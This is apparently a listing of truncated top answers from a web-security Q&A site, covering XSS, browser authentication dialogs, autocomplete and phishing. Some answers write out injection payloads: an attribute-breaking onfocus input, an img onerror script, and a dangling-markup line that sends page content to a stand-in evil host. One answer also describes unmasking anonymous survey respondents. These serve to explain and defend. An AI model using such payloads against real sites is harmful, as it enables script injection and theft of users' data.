160
Most of the details in your question are irrelevant. That the ID is stored in a HTML id attribute, the developer tools, that you are using jQuery... None of that really matters.
The only thing that matters is that you have an endpoint on your server called insert.php. An attacker can send any request they want to that endpoint, regardless of what your ...
129
You cannot hide HTML and expect the browser to be able to interpret it. The browser needs full access to the HTML in order to display all parts of the site. As soon as the browser has access to it, the user can also gain access to it.
On a further note, JavaScript is also not able to "hide" the content of the site and still make it accessible to the browser,...
111
Firefox (fixed in Nightly 59.0a1), Safari (fixed in Safari Technology Preview 54), Edge, and Internet Explorer display an authentication dialog if you request an image and the server asks that you authenticate with HTTP Basic authentication. This allows an attacker to display an authentication dialog when a user's browser tries to load the image:
Firefox. ...
107
It increases dialog box fatigue. By overflowing the user with mundane dialog boxes, they are more likely to get into the habit of just clicking OK to remove the dialog box from their screen. This increases the risk of a user clicking OK on some important security decision presented in a dialog window.
101
Well, IMHO the only reliable way to prevent the user to know the mail address it to have the mail sent server side instead of client side. Said differently the client only gives their own mail address and the text, it is uploaded to the server by the form, and the mail is sent by the server application which is the only part knowing the recipient address.
...
90
If the site is based on ASPX files, then it is more than likely that this is a ASP.NET application - most probably hosted on IIS.
IIS has a very simple checkbox to enable Windows Integrated Authentication.
IE, on Windows 7, will by default send your credentials to any web server in the local intranet. (This is not your password, don't worry, but it is ...
86
User-defined HTML
You're attempting to sanitize user input by blacklisting things you don't want to allow. Unfortunately, especially given the very large list of options for HTML5, it's quite easy to miss something. Missing something will result in a potentially dangerous XSS vulnerability, which you really don't want. To pick some random examples off ...
81
Like Anders says: Blender makes a very good point about authentications dialogs, and korockinout13 is right about the on attributes. Moreover, Aders add argues about the a tag and Matija have a good link about exploiting libraries doing the rendering.
Yet, no one talked about SVG yet.
First of all let's assume that all input and output is properly ...
73
The question is asked mostly to protect you from phishing attacks. The website may fake an Operating system, and ask you to enter sensitive information like passwords. To quote the spec:
User agents should ensure, e.g. by means of an overlay, that the end
user is aware something is displayed fullscreen. User agents should
provide a means of exiting ...
56
The problem is that this one setting simultaneously controls the behavior of two similar but sufficiently dissimilar functions in the browser such that an optimal result is difficult to achieve.
First, we have what you might call "smart" or "naïve" or "automatic" auto-complete.
This is the original auto-complete technology. As you fill in forms on various ...
54
You can't. The question doesn't even make sense on a conceptual level. A mailto: link is simply a convenient way to communicate to an end user where they can send email to. If your mailto link works, the end user will by definition know where the email is going to, the same way the end user will by definition know where a link they're clicking will be going ...
53
One of my employers told us that if we receive a suspicious email with links, we have to hover over the link (to check that it is not spoofed) before clicking it.
When you mouseover a link, the value of the href attribute is displayed in the status bar. Since this is the link target, it can give you an idea about where the link is going.
would someone ...
44
Assuming that you are coming from a BT connection, it's possible that this is part of the BT parental controls program.
There is a discussion of a similar looking pop-up here , which seems to tie into what you're seeing, and also a thread here on the BT site which has a link to a process to turn off that setting.
To test this theory you could log into ...
42
When I do pen tests, I report an issue if a form field asks for sensitive data (e.g. a credit card number), is NOT a password field, and does NOT have autocomplete=off.
The rational is that browsers manage autocomplete for passwords quite sensibly: they give the user the option of whether to store the password, and (most) users can make a sensible decision.
...
41
Try this:
" onfocus="alert(1)" autofocus="
It will expand to:
<input type="text" id="search-text" name="query" value="" onfocus="alert(1)" autofocus="" />
Which will cause an alert box, demonstrating XSS.
41
<img src=http://evil.com is not too much of an issue, but <img src=a onerror=alert('XSS')> can be used to inject any arbitrary JavaScript. In fact, any HTML tag combined with any "on" event attribute (E.g. onerror, onclick, ontouchstart etc.) can be used to run unrestricted JavaScript payloads.
40
Editors, and common libraries used by editors, may have vulnerabilities like buffer overflows. Your attacker would need to know (or guess) what editor you use and craft an exploit specifically for that editor (different editors are unlikely to have the same vulnerabilities unless the vulnerability resides in a library they have in common). An attack may be ...
34
Okay, how about this: (You should probably stand back.)
<img src="file://uhoh.gif”>
Oh I know, right? What a monster!
Well it could be, if you are using SMB...
It's a bug that has been around for 18 YEARS! See this vulnerability report from 1997. Here is the same vulnerability at BlackHat, in 2015.
This affects Internet Explorer, including ...
32
That's incredible simple, and a really old trick.
Create a different survey for each department, even if the surveys have the same questions.
Everyone that answers to Survey X is from Department A.
Everyone that answers to Survey Y is from Department B.
Then, you just need to mash up the results and you're done!
That alone is enough to do a lot of ...
29
The email includes references to an externally-hosted images, like http://example.com/[tracking_id].png, where the tracking company controls the server hosting the image. The company records how and when each unique image URL is loaded by a mail client.
As you've noted, print operations can be logged by a tracking image in the @media print CSS directive. ...
28
For general comments, the script tags are properly escaped, so that it's just interpreted as text instead of as actual code. In this case, that sort of thing is handled via something known as HTML encoding, where your <script> tag would get turned into <script> and rendered as a text string instead of interpreted as code.
That said, ...
27
Just to be clear about how the attack works:
A site allows you to enter text that is later displayed somewhere. It does not properly filter out HTML.
Mallory enters <img src='https://some-evil-site.com/log_csrf?html=, and sends a link to the page to Alice.
Alice views the page, and the rest of the page with Alice's secret content is sent to some-evil-...
21
Currently these are the tags that are banned:
In addition to what's already been posted, make sure that banning means "don't letting the user save the data", not "remove the banned stuff and save the rest".
An example:
Input:
Hi there, here is my <script>alert('scary script')</script>, will I be shown?
Filtered:
Hi there, here is my alert(...
20
Oh, these answers are way too sophisticated for your situation. It's highly unlikely that your IT department would be using some fancy workaround assuming they know what editor you're using, their point is not to actually mess up your systems. Notepad isn't going to be doing anything with any image or attachment, no matter what, and the text you saw ...
19
This form effectively gave all websites a valid excuse to interfere with browsing until the user clicks on something.
This is indeed a bad thing: browsers have gone a long way protecting the user from malicious websites by limiting the actions that can be performed without clicking (like blocking pop-ups which are not a response to a click). Once the users ...
19
Okay, so, technically, you're never 100% safe. Yes, there could be attempted attacks on your text editor/ASCII viewer. Yes, someone could have somehow magically snuck a DLL into your temporary directory in order to mess with MS Notepad delay loading.
But in practice, when you receive an HTML file in a phishing email, it's going to contain some malicious ...
answered Mar 30 at 20:05
Lightness Races with Monica
2,1131 gold badge11 silver badges15 bronze badges
17
The "better way" is server-side validation, because you simply cannot control what the client will send. It does not matter what client-side method you use - <input maxlength=, javascript, what-have-you.
To quote OWASP:
Note that client side validation is a fine idea for performance and
usability, but it has no security benefit whatsoever. Server ...
17
I think by "img XSS" you mean "site that allows arbitrary values for the src="" attribute of <img /> elements".
...in which case the main risk is of Cross Site Request Forgery (CSRF) as it means an attacker can make a target make an arbitrary GET request, the canonical example being the "poorly-coded bank website makes money transfers using GET ...
17
The D's answer points out that a GET can be used to issue commands both cross site and on the same site. I want to expand on that notion because saying "It's a GET request - be careful" doesn't usually manage to convey why that might be a problem.
One attack that can be done that other answers have not covered is denial of service. Consider the following:
...
16
Yes. You should always escape untrusted data. Here's an attack for your snippet (pseudocode):
<noscript>
<img src="<?php echo 'you should always escape everything,
dependeing on the context. This context is url in an attribute,
you should escape it appropriately. otherwise " />
</noscript&...
Only top voted, non community-wiki answers of a minimum length are eligible
